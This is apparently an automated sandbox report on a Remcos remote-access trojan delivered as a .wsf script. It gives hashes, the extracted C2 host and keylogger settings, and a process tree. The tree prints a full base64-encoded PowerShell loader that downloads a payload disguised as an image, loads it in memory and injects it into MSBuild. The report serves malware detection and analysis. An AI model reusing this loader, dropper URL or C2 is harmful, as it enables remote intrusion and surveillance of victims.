remcos | 4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17

General

Target

4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17.wsf
Size

3KB
MD5

2351b140cfa13f0cf05f93b471edd1f6
SHA1

aab24f356405a117ce7df0016b131872fb1b2f16
SHA256

4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17
SHA512

bb7e68724ba4e4169e90b0ff3d6379dda43c0d01bf1e26b91211a124833317a4741bb6c5f0c3e97bcc79f8d01460bb09b6cf963c2f39890b7063ddd1b74f0085

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

RemoteHost

C2

ahmedahmed.ddns.net:6426

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-SEVL3E
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	4144	WScript.exe
5	4144	WScript.exe
15	4224	powershell.exe
22	4224	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4224	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4224 set thread context of 1364	4224	powershell.exe	89

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4224	powershell.exe
4224	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4224	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1364	MSBuild.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4144 wrote to memory of 4224	4144	WScript.exe	82
PID 4144 wrote to memory of 4224	4144	WScript.exe	82
PID 4224 wrote to memory of 1364	4224	powershell.exe	89
PID 4224 wrote to memory of 1364	4224	powershell.exe	89
PID 4224 wrote to memory of 1364	4224	powershell.exe	89
PID 4224 wrote to memory of 1364	4224	powershell.exe	89
PID 4224 wrote to memory of 1364	4224	powershell.exe	89
PID 4224 wrote to memory of 1364	4224	powershell.exe	89
PID 4224 wrote to memory of 1364	4224	powershell.exe	89
PID 4224 wrote to memory of 1364	4224	powershell.exe	89
PID 4224 wrote to memory of 1364	4224	powershell.exe	89
PID 4224 wrote to memory of 1364	4224	powershell.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17.wsf"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $originador = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JGFudGl2aXZpc3NlY2Npb25pc3RhID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JHBsdW1hY2hvID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY29udm9jYXIgPSAkcGx1bWFjaG8uRG93bmxvYWREYXRhKCRhbnRpdml2aXNzZWNjaW9uaXN0YSk7JGFjY2VsZXJhdHJpeiA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRjb252b2Nhcik7JGNoaW5jaGFycmF2ZWxobyA9ICc8PEJBU0U2NF9TVEFSVD4+Jzskb2JjZWNhciA9ICc8PEJBU0U2NF9FTkQ+Pic7JHRhc2NhciA9ICRhY2NlbGVyYXRyaXouSW5kZXhPZigkY2hpbmNoYXJyYXZlbGhvKTskbW9jYW1iZWlybyA9ICRhY2NlbGVyYXRyaXouSW5kZXhPZigkb2JjZWNhcik7JHRhc2NhciAtZ2UgMCAtYW5kICRtb2NhbWJlaXJvIC1ndCAkdGFzY2FyOyR0YXNjYXIgKz0gJGNoaW5jaGFycmF2ZWxoby5MZW5ndGg7JGFuZmljYXJwbyA9ICRtb2NhbWJlaXJvIC0gJHRhc2NhcjskYWNhc3VzbyA9ICRhY2NlbGVyYXRyaXouU3Vic3RyaW5nKCR0YXNjYXIsICRhbmZpY2FycG8pOyRlc3R1ZmFkZWlyYSA9IC1qb2luICgkYWNhc3Vzby5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkYWNhc3Vzby5MZW5ndGgpXTskcGlhc3NhYmEgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlc3R1ZmFkZWlyYSk7JG1lZHVsYW50ZSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHBpYXNzYWJhKTskZ3JhZmljYW1lbnRlID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGdyYWZpY2FtZW50ZS5JbnZva2UoJG51bGwsIEAoJzAvZUdwdU4vci9lZS5ldHNhcC8vOnNwdHRoJywgJ2JyYW5kbycsICdicmFuZG8nLCAnYnJhbmRvJywgJ01TQnVpbGQnLCAnYnJhbmRvJywgJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJzEnLCdicmFuZG8nKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$alegorista = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($originador));Invoke-Expression $alegorista
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4224
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:1364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
3d6118d73a2fbc089e46ff54d19ed577

SHA1
76f3ca0a3aecaf16cb45d18aea8018aea21561e1

SHA256
ef51ecce0f1c6beef6504953a80b938af12d68f18bd6ecb5ddda1d5d55fe73ff

SHA512
f7ea9ca15ecd600243dfe50ffba27fddca47fe54bb57098806a8e8fe8f38b7ef8fba393c6bfcd1737cc4cd4b23946b7492e1d91aa8a09605d4d1fb5f66180017

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1tfn53u1.54g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1364-19-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1364-32-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1364-29-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1364-28-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1364-25-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1364-23-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1364-22-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4224-13-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4224-18-0x00000283FF620000-0x00000283FF778000-memory.dmp

Filesize
1.3MB

Download
memory/4224-17-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4224-15-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4224-16-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4224-24-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4224-14-0x00007FFB334E3000-0x00007FFB334E5000-memory.dmp

Filesize
8KB

Download
memory/4224-0-0x00007FFB334E3000-0x00007FFB334E5000-memory.dmp

Filesize
8KB

Download
memory/4224-12-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4224-11-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4224-2-0x00000283EF030000-0x00000283EF052000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads